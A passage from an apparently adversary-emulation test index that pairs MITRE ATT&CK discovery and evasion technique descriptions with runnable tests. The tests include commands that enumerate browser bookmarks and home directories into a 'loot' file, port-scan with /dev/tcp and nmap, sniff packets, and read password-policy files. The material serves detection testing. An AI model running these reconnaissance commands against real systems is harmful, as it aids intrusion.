command: 'find / -path "*.mozilla/firefox/*/places.sqlite" -exec echo {} >>
/tmp/firefox-bookmarks.txt \;
'
- name: List Mozilla Firefox Bookmark Database Files on macOS
description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS)
that contains bookmarks and lists any found instances to a text file.
'
supported_platforms:
- macos
executor:
name: sh
command: 'find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {}
>> /tmp/firefox-bookmarks.txt \;
'
- name: List Google Chrome Bookmark JSON Files on macOS
description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains
bookmarks in JSON format and lists any found instances to a text file.
'
supported_platforms:
- macos
executor:
name: sh
command: 'find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> /tmp/chrome-bookmarks.txt
\;
'
'':
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
name: Virtualization/Sandbox Evasion
description: "Adversaries may check for the presence of a virtual machine environment
(VME) or sandbox to avoid potential detection of tools and activities. If
the adversary detects a VME, they may alter their malware to conceal the core
functions of the implant or disengage from the victim. They may also search
for VME artifacts before dropping secondary or additional payloads. Adversaries
may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
during automated discovery to shape follow-on behaviors.\n\nAdversaries may
use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063)
to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
by searching for security monitoring tools (e.g., Sysinternals, Wireshark,
etc.) to help determine if it is an analysis environment. Additional methods
include use of sleep timers or loops within malware code to avoid operating
within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)\n\n###Virtual
Machine Environment Artifacts Discovery###\n\nAdversaries may use utilities
such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047),
[PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096),
and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain
system information and search for VME artifacts. Adversaries may search for
VME artifacts in memory, processes, file system, and/or the Registry. Adversaries
may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine
these checks into one script and then have the program exit if it determines
the system to be a virtual environment. Also, in applications like VMWare,
adversaries can use a special I/O port to send commands and receive output.
Adversaries may also check the drive size. For example, this can be done using
the Win32 DeviceIOControl function. \n\nExample VME Artifacts in the Registry(Citation:
McAfee Virtual Jan 2017)\n\n* HKLM\\SOFTWARE\\Oracle\\VirtualBox Guest
Additions\n* HKLM\\HARDWARE\\Description\\System\\”SystemBiosVersion”;”VMWARE”\n*
HKLM\\HARDWARE\\ACPI\\DSDT\\BOX_\n\nExample VME files and DLLs
on the system(Citation: McAfee Virtual Jan 2017)\n\n* WINDOWS\\system32\\drivers\\vmmouse.sys
\n* WINDOWS\\system32\\vboxhook.dll\n* Windows\\system32\\vboxdisp.dll\n\nCommon
checks may enumerate services running that are unique to these applications,
installed programs on the system, manufacturer/product fields for strings
relating to virtual machine applications, and VME-specific hardware/processor
instructions.(Citation: McAfee Virtual Jan 2017)\n\n###User Activity Discovery###\n\nAdversaries
may search for user activity on the host (e.g., browser history, cache, bookmarks,
number of files in the home directories, etc.) for reassurance of an authentic
environment. They might detect this type of information via user interaction
and digital signatures. They may have malware check the speed and frequency
of mouse clicks to determine if it’s a sandboxed environment.(Citation: Sans
Virtual Jan 2016) Other methods may rely on specific user interaction with
the system before the malicious code is activated. Examples include waiting
for a document to close before activating a macro (Citation: Unit 42 Sofacy
Nov 2018) and waiting for a user to double click on an embedded image to activate
(Citation: FireEye FIN7 April 2017).\n\n###Virtual Hardware Fingerprinting
Discovery###\n\nAdversaries may check the fan and temperature of the system
to gather evidence that can be indicative a virtual environment. An adversary
may perform a CPU check using a WMI query $q = “Select * from Win32_Fan”
Get-WmiObject -Query $q. If the results of the WMI query return more
than zero elements, this might tell them that the machine is a physical one.
(Citation: Unit 42 OilRig Sept 2018)"
id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
modified: '2019-09-26T16:23:59.726Z'
x_mitre_platforms:
- Windows
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: 'Virtualization, sandbox, and related discovery techniques
will likely occur in the first steps of an operation but may also occur throughout
as an adversary learns the environment. Data and events should not be viewed
in isolation, but as part of a chain of behavior that could lead to other
activities, such as lateral movement, based on the information obtained. Detecting
actions related to virtualization and sandbox identification may be difficult
depending on the adversary''s implementation and monitoring required. Monitoring
for suspicious processes being spawned that gather a variety of system information
or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007),
especially in a short period of time, may aid in detection.
'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Sunny Neo
created: '2019-04-17T22:22:24.505Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- source_name: mitre-attack
external_id: T1497
url: https://attack.mitre.org/techniques/T1497
- description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
23, 2019.'
source_name: Unit 42 Pirpi July 2015
url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
- description: Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual
Machine. Retrieved April 17, 2019.
source_name: McAfee Virtual Jan 2017
url: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/
- description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
Evasion Techniques. Retrieved April 17, 2019.
source_name: Sans Virtual Jan 2016
url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
- description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
source_name: Unit 42 Sofacy Nov 2018
url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
- description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
LNK. Retrieved April 24, 2017.
source_name: FireEye FIN7 April 2017
url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
- source_name: Unit 42 OilRig Sept 2018
description: Falcone, R., et al. (2018, September 04). OilRig Targets a Middle
Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September
24, 2018.
url: https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/
x_mitre_defense_bypassed:
- Anti-virus
- Host forensic analysis
- Signature-based detection
- Static File Analysis
atomic_tests: []
T1482:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- PowerShell logs
- API monitoring
- Process command-line parameters
- Process monitoring
name: Domain Trust Discovery
description: 'Adversaries may attempt to gather information on domain trust
relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008)
opportunities in Windows multi-domain/forest environments. Domain trusts provide
a mechanism for a domain to allow access to resources based on the authentication
procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow
the users of the trusted domain to access resources in the trusting domain.
The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178),
[Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation:
AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain
trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call,
.NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility
[Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries
to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)'
id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as nltest /domain_trusts. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Dave Westgard
- Elia Florio, Microsoft
- Mnemonic
- RedHuntLabs (@redhuntlabs)
created: '2019-02-14T16:15:05.974Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- source_name: mitre-attack
external_id: T1482
url: https://attack.mitre.org/techniques/T1482
- description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February
14, 2019.
source_name: Microsoft Trusts
url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
- description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos
Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved
February 14, 2019.
source_name: AdSecurity Forging Trust Tickets
url: https://adsecurity.org/?p=1588
- description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain
Trusts. Retrieved February 14, 2019.
source_name: Harmj0y Domain Trusts
url: 'http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ '
- description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation
WilySupply software supply chain cyberattack. Retrieved February 14, 2019.
source_name: Microsoft Operation Wilysupply
url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
- description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved
February 14, 2019.
source_name: Microsoft GetAllTrustRelationships
url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
modified: '2019-07-17T19:33:25.991Z'
identifier: T1482
atomic_tests:
- name: Windows - Discover domain trusts with dsquery
description: |
Uses the dsquery command to discover domain trusts.
Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.
supported_platforms:
- windows
executor:
name: command_prompt
command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr *
'
- name: Windows - Discover domain trusts with nltest
description: |
Uses the nltest command to discover domain trusts.
Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
This technique has been used by the Trickbot malware family.
supported_platforms:
- windows
executor:
name: command_prompt
command: 'nltest /domain_trusts
'
T1083:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
name: File and Directory Discovery
description: |-
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
### Windows
Example utilities used to obtain this information are dir and tree. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API.
### Mac and Linux
In Mac and Linux, this kind of discovery is accomplished with the ls, find, and locate commands.
id: attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
x_mitre_system_requirements:
- Some folders may require Administrator, SYSTEM or specific user depending
on permission levels and access controls
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
Monitor proceExesses and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:31:04.710Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1083
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1083
- source_name: Windows Commands JPCERT
description: Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers.
Retrieved February 2, 2016.
url: http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
modified: '2019-08-12T19:52:39.585Z'
identifier: T1083
atomic_tests:
- name: File and Directory Discovery
description: 'Find or discover files on the file system
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: |
dir /s c:\ >> %temp%\download
dir /s "c:\Documents and Settings" >> %temp%\download
dir /s "c:\Program Files\" >> %temp%\download
dir /s d:\ >> %temp%\download
dir "%systemdrive%\Users\*.*" >> %temp%\download
dir "%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\*.*" >> %temp%\download
dir "%userprofile%\Desktop\*.*" >> %temp%\download
tree /F >> %temp%\download
- name: File and Directory Discovery
description: 'Find or discover files on the file system
'
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
ls -recurse
get-childitem -recurse
gci -recurse
- name: Nix File and Diectory Discovery
description: |
Find or discover files on the file system
References:
http://osxdaily.com/2013/01/29/list-all-files-subdirectory-contents-recursively/
https://perishablepress.com/list-files-folders-recursively-terminal/
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
ls -a > allcontents.txt
ls -la /Library/Preferences/ > detailedprefsinfo.txt
file */* *>> ../files.txt
find . -type f
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/ /' -e 's/-/|/'
locate *
which sh
- name: Nix File and Directory Discovery
description: 'Find or discover files on the file system
'
supported_platforms:
- macos
- linux
executor:
name: sh
command: |
cd $HOME && find . -print | sed -e 's;[^/]*/;|__;g;s;__|; |;g' > /tmp/loot.txt
cat /etc/mtab > /tmp/loot.txt
find . -type f -iname *.pdf > /tmp/loot.txt
find . -type f -name ".*"
T1046:
technique:
x_mitre_permissions_required:
- Administrator
- SYSTEM
- User
x_mitre_data_sources:
- Netflow/Enclave netflow
- Network protocol analysis
- Packet capture
- Process command-line parameters
- Process use of network
name: Network Service Scanning
description: "Adversaries may attempt to get a listing of services running on
remote hosts, including those that may be vulnerable to remote software exploitation.
Methods to acquire this information include port scans and vulnerability scans
using tools that are brought onto a system. \n\nWithin cloud environments,
adversaries may attempt to discover services running on other cloud hosts
or cloud services enabled within the environment. Additionally, if the cloud
environment is connected to a on-premises environment, adversaries may be
able to identify services running on non-cloud systems."
id: attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88
x_mitre_platforms:
- Linux
- Windows
- macOS
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-05-31T21:30:43.915Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1046
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1046
- source_name: capec
external_id: CAPEC-300
url: https://capec.mitre.org/data/definitions/300.html
modified: '2019-10-23T14:20:49.573Z'
identifier: T1046
atomic_tests:
- name: Port Scan
description: 'Scan ports to check for listening ports
'
supported_platforms:
- linux
- macos
executor:
name: sh
elevation_required: false
command: |
for port in {1..65535};
do
echo >/dev/tcp/192.168.1.1/$port && echo "port $port is open" || echo "port $port is closed" : ;
done
- name: Port Scan Nmap
description: 'Scan ports to check for listening ports with Nmap.
'
supported_platforms:
- linux
- macos
input_arguments:
network_range:
description: Network Range to Scan.
type: string
default: 192.168.1.0/24
port:
description: Ports to scan.
type: string
default: 80
host:
description: Host to scan.
type: string
default: 192.168.1.1
executor:
name: sh
command: |
nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1135:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
- Network protocol analysis
- Process use of network
x_mitre_permissions_required:
- User
name: Network Share Discovery
description: "Networks often contain shared network drives and folders that
enable users to access file directories on various systems across a network.
\n\n### Windows\n\nFile sharing over a Windows network occurs over the SMB
protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared
Folder)\n\n[Net](https://attack.mitre.org/software/S0039) can be used to query
a remote system for available shared drives using the net view \\\\remotesystem
command. It can also be used to query shared drives on the local system using
net share.\n\nAdversaries may look for folders and drives shared
on remote systems as a means of identifying sources of information to gather
as a precursor for Collection and to identify potential systems of interest
for Lateral Movement.\n\n### Mac\n\nOn Mac, locally mounted shares can be
viewed with the df -aH command.\n\n### Cloud\n\nCloud virtual
networks may contain remote network shares or file storage services accessible
to an adversary after they have obtained access to a system. For example,
AWS, GCP, and Azure support creation of Network File System (NFS) shares and
Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based
systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File
servers on Compute Engine)"
id: attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f
x_mitre_platforms:
- macOS
- Windows
- AWS
- GCP
- Azure
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).
In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be sufficient due to benign use during normal operations.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Praetorian
created: '2017-12-14T16:46:06.044Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1135
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1135
- source_name: capec
external_id: CAPEC-643
url: https://capec.mitre.org/data/definitions/643.html
- source_name: Wikipedia Shared Resource
description: Wikipedia. (2017, April 15). Shared resource. Retrieved June
30, 2017.
url: https://en.wikipedia.org/wiki/Shared_resource
- source_name: TechNet Shared Folder
description: Microsoft. (n.d.). Share a Folder or Drive. Retrieved June 30,
2017.
url: https://technet.microsoft.com/library/cc770880.aspx
- description: Amazon. (n.d.). Creating an NFS File Share. Retrieved October
23, 2019.
source_name: Amazon Creating an NFS File Share
url: https://docs.aws.amazon.com/storagegateway/latest/userguide/CreatingAnNFSFileShare.html
- description: Google Cloud. (2019, October 10). File servers on Compute Engine.
Retrieved October 23, 2019.
source_name: Google File servers on Compute Engine
url: https://cloud.google.com/solutions/filers-on-compute-engine
modified: '2019-10-23T14:34:08.075Z'
identifier: T1135
atomic_tests:
- name: Network Share Discovery
description: 'Network Share Discovery
'
supported_platforms:
- macos
- linux
input_arguments:
computer_name:
description: Computer name to find a mount on.
type: string
default: computer1
executor:
name: sh
command: |
df -aH
smbutil view -g //#{computer_name}
showmount #{computer_name}
- name: Network Share Discovery command prompt
description: 'Network Share Discovery utilizing the command prompt
'
supported_platforms:
- windows
input_arguments:
computer_name:
description: Computer name to find a mount on.
type: string
default: computer1
executor:
name: command_prompt
elevation_required: false
command: 'net view \\#{computer_name}
'
- name: Network Share Discovery PowerShell
description: 'Network Share Discovery utilizing PowerShell
'
supported_platforms:
- windows
input_arguments:
computer_name:
description: Computer name to find a mount on.
type: string
default: computer1
executor:
name: powershell
elevation_required: false
command: |
net view \\#{computer_name}
get-smbshare -Name #{computer_name}
T1040:
technique:
x_mitre_data_sources:
- Network device logs
- Host network interface
- Netflow/Enclave netflow
- Process monitoring
x_mitre_permissions_required:
- Administrator
- SYSTEM
name: Network Sniffing
description: |-
Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.
Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.
Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.
id: attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
x_mitre_system_requirements:
- Network interface access and packet capture driver
type: attack-pattern
x_mitre_detection: Detecting the events leading up to sniffing network traffic
may be the best method of detection. From the host level, an adversary would
likely need to perform a man-in-the-middle attack against other devices on
a wired network in order to capture traffic that was not to or from the current
compromised system. This change in the flow of information is detectable at
the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts.
Detecting compromised network devices is a bit more challenging. Auditing
administrator logins, configuration changes, and device images is required
to detect malicious changes.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
created: '2017-05-31T21:30:41.399Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: credential-access
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1040
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1040
- source_name: capec
external_id: CAPEC-158
url: https://capec.mitre.org/data/definitions/158.html
modified: '2019-07-18T16:42:21.548Z'
identifier: T1040
atomic_tests:
- name: Packet Capture Linux
description: 'Perform a PCAP. Wireshark will be required for tshark. TCPdump
may already be installed.
'
supported_platforms:
- linux
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: ens33
executor:
name: bash
elevation_required: true
command: |
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
- name: Packet Capture MacOS
description: 'Perform a PCAP on MacOS. This will require Wireshark/tshark to
be installed. TCPdump may already be installed.
'
supported_platforms:
- macos
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: en0A
executor:
name: bash
elevation_required: true
command: |
tcpdump -c 5 -nnni #{interface}
tshark -c 5 -i #{interface}
- name: Packet Capture Windows Command Prompt
description: |
Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
installed, along with WinPCAP. Windump will require the windump executable.
supported_platforms:
- windows
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: Ethernet0
executor:
name: command_prompt
elevation_required: true
command: |
c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5
c:\windump.exe
- name: Packet Capture PowerShell
description: |
Perform a packet capture using PowerShell with windump or tshark. This will require a host that has Wireshark/Tshark
installed, along with WinPCAP. Windump will require the windump executable.
supported_platforms:
- windows
input_arguments:
interface:
description: Specify interface to perform PCAP on.
type: String
default: Ethernet0
executor:
name: powershell
elevation_required: true
command: |
c:\Program Files\Wireshark\tshark.exe -i #{interface} -c 5
c:\windump.exe
T1201:
technique:
x_mitre_data_sources:
- Process command-line parameters
- Process monitoring
x_mitre_permissions_required:
- User
name: Password Policy Discovery
description: |-
Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).
Password policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)
### Windows
* net accounts
* net accounts /domain
### Linux
* chage -l
* cat /etc/pam.d/common-password
### macOS
* pwpolicy getaccountpolicies
id: attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5
x_mitre_platforms:
- Windows
- Linux
- macOS
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: Monitor processes for tools and command line arguments that
may indicate they're being used for password policy discovery. Correlate that
activity with other suspicious activity from the originating system to reduce
potential false positives from valid user or administrator activity. Adversaries
will likely attempt to find the password policy early in an operation and
the activity is likely to happen with other Discovery activity.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Sudhanshu Chauhan, @Sudhanshu_C
created: '2018-04-18T17:59:24.739Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: discovery
external_references:
- external_id: T1201
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1201
- source_name: Superuser Linux Password Policies
description: Matutiae, M. (2014, August 6). How to display password policy
information for a user (Ubuntu)?. Retrieved April 5, 2018.
url: https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu
- source_name: Jamf User Password Policies
description: Holland, J. (2016, January 25). User password policies on non
AD machines. Retrieved April 5, 2018.
url: https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines
modified: '2019-07-18T17:03:40.469Z'
identifier: T1201
atomic_tests:
- name: Examine password complexity policy - Ubuntu
description: 'Lists the password complexity policy to console on Ubuntu Linux.
'
supported_platforms:
- ubuntu
executor:
name: bash
command: 'cat /etc/pam.d/common-password
'
- name: Examine password complexity policy - CentOS/RHEL 7.x
description: 'Lists the password complexity policy to console on CentOS/RHEL
7.x Linux.
'
supported_platforms:
- centos
executor:
name: bash
command: 'cat /etc/security/pwquality.conf
'
- name: Examine password complexity policy - CentOS/RHEL 6.x
description: 'Lists the password complexity policy to console on CentOS/RHEL
6.x Linux.
'
supported_platforms:
- centos
executor:
name: bash
command: |
cat /etc/pam.d/system-auth
cat /etc/security/pwquality.conf
- name: Examine password expiration policy - All Linux
description: 'Lists the password expiration policy to console on CentOS/RHEL/Ubuntu.
'
supported_platforms:
- linux
executor:
name: bash
command: 'cat /etc/login.defs
'
- name: Examine local password policy - Windows
description: 'Lists the local password policy to console on Windows.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'net accounts
'
- name: Examine domain password policy - Windows
description: 'Lists the domain password policy to console on Windows.
'
supported_platforms:
- windows
executor:
name: command_prompt
elevation_required: false
command: 'net accounts /domain
'
- name: Examine password policy - macOS
description: 'Lists the password policy to console on macOS.
'
supported_platforms:
- macos
executor:
name: bash
command: pwpolicy getaccountpolicies
T1069:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Azure activity logs
- Office 365 account logs
- API monitoring
- Process monitoring
- Process command-line parameters
name: Permission Groups Discovery
description: "Adversaries may attempt to find local system or domain-level groups
and permissions settings. \n\n### Windows\n\nExamples of commands that can
list groups are net group /domain and net localgroup
using the [Net](https://attack.mitre.org/software/S0039) utility.\n\n### Mac\n\nOn
Mac, this same thing can be accomplished with the dscacheutil -q group
for the domain, or dscl . -list /Groups for local groups.\n\n###
Linux\n\nOn Linux, local groups can be enumerated with the groups
command and domain groups via the ldapsearch command.\n\n###
Office 365 and Azure AD\n\nWith authenticated access there are several tools
that can be used to find permissions groups. The Get-MsolRole
PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange
and Office 365 accounts.(Citation: Microsoft msrole)(Citation: GitHub Raindance)\n\nAzure
CLI (AZ CLI) also provides an interface to obtain permissions groups with
authenticated access to a domain. The command az ad user get-member-groups
will list groups associated to a user account.(Citation: Microsoft AZ CLI)(Citation:
Black Hills Red Teaming MS AD Azure, 2018)"
id: attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce
x_mitre_platforms:
- Linux
- macOS
- Windows
- Office 365
- Azure AD
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '2.0'
type: attack-pattern
x_mitre_detection: |-
System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
